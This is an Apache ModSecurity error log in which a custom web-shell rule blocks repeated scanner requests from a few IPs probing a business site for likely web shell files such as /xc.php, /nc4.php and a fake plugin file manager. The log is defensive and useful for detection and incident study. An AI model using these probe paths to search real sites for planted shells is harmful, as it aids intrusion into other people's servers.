[Wed Apr 01 08:15:29.420387 2026] [:error] [pid 23819:tid 23830] [client 74.234.75.219:65318] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acxjoddfUS_37wFAM773cgAAAMg"]
[Wed Apr 01 08:15:29.943678 2026] [:error] [pid 23819:tid 23828] [client 74.234.75.219:63404] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acxjoddfUS_37wFAM773dwAAAMY"]
[Wed Apr 01 08:15:30.448506 2026] [:error] [pid 23819:tid 23832] [client 74.234.75.219:62792] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acxjotdfUS_37wFAM773fAAAAMo"]
[Wed Apr 01 08:15:30.984576 2026] [:error] [pid 23716:tid 23809] [client 74.234.75.219:65363] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acxjonVtFUg_mx-RYb52kQAAAJU"]
[Wed Apr 01 08:15:31.492923 2026] [:error] [pid 24346:tid 24366] [client 74.234.75.219:64022] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acxjo7c1l8kg9MhGHIKjfwAAAU4"]
[Wed Apr 01 08:15:39.658187 2026] [:error] [pid 23819:tid 23839] [client 74.234.75.219:65315] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "acxjq9dfUS_37wFAM773kAAAANE"]
[Wed Apr 01 08:15:40.254811 2026] [:error] [pid 23715:tid 23785] [client 74.234.75.219:62796] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "acxjrK-REzOruNbiT9x6ogAAAFg"]
[Wed Apr 01 08:15:40.784928 2026] [:error] [pid 23715:tid 23769] [client 74.234.75.219:64086] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "acxjrK-REzOruNbiT9x6qgAAAEg"]
[Wed Apr 01 08:15:41.292702 2026] [:error] [pid 23819:tid 23841] [client 74.234.75.219:64060] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "acxjrddfUS_37wFAM773mAAAANM"]
[Wed Apr 01 08:15:41.809249 2026] [:error] [pid 23715:tid 23782] [client 74.234.75.219:64025] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "acxjra-REzOruNbiT9x6ugAAAFU"]
[Wed Apr 01 08:15:42.334674 2026] [:error] [pid 23714:tid 23750] [client 74.234.75.219:62762] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "acxjrkHxDDU2ETcG9DQMkwAAABA"]
[Wed Apr 01 08:15:42.874575 2026] [:error] [pid 23715:tid 23772] [client 74.234.75.219:64042] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "acxjrq-REzOruNbiT9x6ywAAAEs"]
[Wed Apr 01 08:15:43.381487 2026] [:error] [pid 23716:tid 23802] [client 74.234.75.219:64767] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "acxjr3VtFUg_mx-RYb52oQAAAI4"]
[Wed Apr 01 08:15:43.900081 2026] [:error] [pid 24346:tid 24365] [client 74.234.75.219:64758] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "acxjr7c1l8kg9MhGHIKjlAAAAU0"]
[Wed Apr 01 08:15:44.417259 2026] [:error] [pid 24348:tid 24398] [client 74.234.75.219:65369] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "acxjsG0Vs69Y5nF1HA_4sQAAAZM"]
[Wed Apr 01 08:15:44.963922 2026] [:error] [pid 23716:tid 23809] [client 74.234.75.219:62809] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "acxjsHVtFUg_mx-RYb52pAAAAJU"]
[Wed Apr 01 08:15:45.470486 2026] [:error] [pid 23819:tid 23831] [client 74.234.75.219:64739] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "acxjsddfUS_37wFAM773nAAAAMk"]
[Wed Apr 01 08:15:46.022726 2026] [:error] [pid 23716:tid 23791] [client 74.234.75.219:65280] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acxjsnVtFUg_mx-RYb52pwAAAIM"]
[Wed Apr 01 08:15:46.548522 2026] [:error] [pid 24348:tid 24394] [client 74.234.75.219:65347] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acxjsm0Vs69Y5nF1HA_4wAAAAY8"]
[Wed Apr 01 08:15:47.081870 2026] [:error] [pid 24346:tid 24374] [client 74.234.75.219:64126] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acxjs7c1l8kg9MhGHIKjmgAAAVY"]
[Wed Apr 01 08:15:47.649912 2026] [:error] [pid 23715:tid 23761] [client 74.234.75.219:64755] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "acxjs6-REzOruNbiT9x65gAAAEA"]
[Wed Apr 01 08:15:48.180089 2026] [:error] [pid 23715:tid 23780] [client 74.234.75.219:62202] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "acxjtK-REzOruNbiT9x67AAAAFM"]
[Wed Apr 01 08:15:48.708038 2026] [:error] [pid 23715:tid 23785] [client 74.234.75.219:63395] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "acxjtK-REzOruNbiT9x67wAAAFg"]
[Wed Apr 01 08:15:49.230523 2026] [:error] [pid 23714:tid 23752] [client 74.234.75.219:62795] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "acxjtUHxDDU2ETcG9DQMyQAAABI"]
[Wed Apr 01 08:15:49.791703 2026] [:error] [pid 23716:tid 23805] [client 74.234.75.219:65380] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "acxjtXVtFUg_mx-RYb52qQAAAJE"]
[Wed Apr 01 08:15:50.437690 2026] [:error] [pid 24348:tid 24393] [client 74.234.75.219:65388] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "acxjtm0Vs69Y5nF1HA_4yAAAAY4"]
[Wed Apr 01 08:15:50.966880 2026] [:error] [pid 23715:tid 23776] [client 74.234.75.219:65389] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "acxjtq-REzOruNbiT9x69wAAAE8"]
[Wed Apr 01 08:15:51.513033 2026] [:error] [pid 23715:tid 23785] [client 74.234.75.219:64002] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "acxjt6-REzOruNbiT9x6-gAAAFg"]
[Wed Apr 01 08:15:52.024429 2026] [:error] [pid 24314:tid 24324] [client 74.234.75.219:62808] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "acxjuJRF3FCzjmMUX5b5AQAAAQY"]
[Wed Apr 01 08:15:52.549775 2026] [:error] [pid 23819:tid 23846] [client 74.234.75.219:64766] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "acxjuNdfUS_37wFAM773nwAAANg"]
[Wed Apr 01 08:15:53.061531 2026] [:error] [pid 23714:tid 23740] [client 74.234.75.219:64751] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "acxjuUHxDDU2ETcG9DQM3gAAAAY"]
[Wed Apr 01 08:15:53.592886 2026] [:error] [pid 23714:tid 23756] [client 74.234.75.219:65317] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "acxjuUHxDDU2ETcG9DQM4AAAABY"]
[Wed Apr 01 08:15:54.123132 2026] [:error] [pid 23714:tid 23753] [client 74.234.75.219:62757] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "acxjukHxDDU2ETcG9DQM5gAAABM"]
[Wed Apr 01 08:15:54.648199 2026] [:error] [pid 24346:tid 24371] [client 74.234.75.219:62813] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "acxjurc1l8kg9MhGHIKjngAAAVM"]
[Wed Apr 01 08:15:55.156517 2026] [:error] [pid 24346:tid 24360] [client 74.234.75.219:65327] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "acxju7c1l8kg9MhGHIKjnwAAAUg"]
[Wed Apr 01 08:15:55.658369 2026] [:error] [pid 24346:tid 24352] [client 74.234.75.219:63371] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "acxju7c1l8kg9MhGHIKjoQAAAUA"]
[Wed Apr 01 08:15:56.171726 2026] [:error] [pid 24346:tid 24363] [client 74.234.75.219:64681] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "acxjvLc1l8kg9MhGHIKjpQAAAUs"]
[Wed Apr 01 08:15:56.711815 2026] [:error] [pid 24314:tid 24330] [client 74.234.75.219:64745] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acxjvJRF3FCzjmMUX5b5CgAAAQw"]
[Wed Apr 01 08:15:57.291338 2026] [:error] [pid 23715:tid 23772] [client 74.234.75.219:65313] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acxjva-REzOruNbiT9x7AwAAAEs"]
[Wed Apr 01 08:15:57.856511 2026] [:error] [pid 23819:tid 23830] [client 74.234.75.219:64095] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acxjvddfUS_37wFAM773pAAAAMg"]
[Wed Apr 01 08:15:58.366021 2026] [:error] [pid 24314:tid 24324] [client 74.234.75.219:64746] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acxjvpRF3FCzjmMUX5b5DQAAAQY"]
[Wed Apr 01 08:15:58.925324 2026] [:error] [pid 24348:tid 24380] [client 74.234.75.219:64054] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acxjvm0Vs69Y5nF1HA_41QAAAYE"]
[Wed Apr 01 08:15:59.449717 2026] [:error] [pid 23819:tid 23824] [client 74.234.75.219:62832] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acxjv9dfUS_37wFAM773qQAAAMI"]
[Wed Apr 01 08:15:59.966002 2026] [:error] [pid 24348:tid 24390] [client 74.234.75.219:64738] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acxjv20Vs69Y5nF1HA_42QAAAYs"]
[Wed Apr 01 08:16:00.498930 2026] [:error] [pid 23714:tid 23745] [client 74.234.75.219:63390] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acxjwEHxDDU2ETcG9DQM9wAAAAs"]
[Wed Apr 01 08:16:01.019978 2026] [:error] [pid 23714:tid 23749] [client 74.234.75.219:63366] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acxjwUHxDDU2ETcG9DQM-AAAAA8"]
[Wed Apr 01 08:16:01.612261 2026] [:error] [pid 24346:tid 24368] [client 74.234.75.219:62749] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acxjwbc1l8kg9MhGHIKjrAAAAVA"]
[Wed Apr 01 08:16:02.129945 2026] [:error] [pid 24348:tid 24391] [client 74.234.75.219:62793] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acxjwm0Vs69Y5nF1HA_44AAAAYw"]
[Wed Apr 01 08:16:02.700301 2026] [:error] [pid 23714:tid 23739] [client 74.234.75.219:62828] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acxjwkHxDDU2ETcG9DQNAAAAAAU"]
[Wed Apr 01 09:58:01.720339 2026] [:error] [pid 23715:tid 23762] [client 20.116.48.67:34782] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acx7qa-REzOruNbiT9yaJgAAAEE"]
[Wed Apr 01 09:58:03.212729 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:34805] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acx7q0HxDDU2ETcG9DRexAAAAAs"]
[Wed Apr 01 09:58:04.703353 2026] [:error] [pid 24348:tid 24384] [client 20.116.48.67:34691] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acx7rG0Vs69Y5nF1HA8iNAAAAYU"]
[Wed Apr 01 09:58:06.282508 2026] [:error] [pid 24314:tid 24319] [client 20.116.48.67:34698] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acx7rpRF3FCzjmMUX5YNvQAAAQE"]
[Wed Apr 01 10:05:34.729064 2026] [:error] [pid 24348:tid 24400] [client 20.205.1.146:6976] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acx9bm0Vs69Y5nF1HA8mXgAAAZU"]
[Wed Apr 01 10:05:35.203126 2026] [:error] [pid 23714:tid 23740] [client 20.205.1.146:3540] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acx9b0HxDDU2ETcG9DRliQAAAAY"]
[Wed Apr 01 10:05:35.709170 2026] [:error] [pid 23714:tid 23751] [client 20.205.1.146:6817] [client 20.205.1.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acx9b0HxDDU2ETcG9DRliwAAABE"]
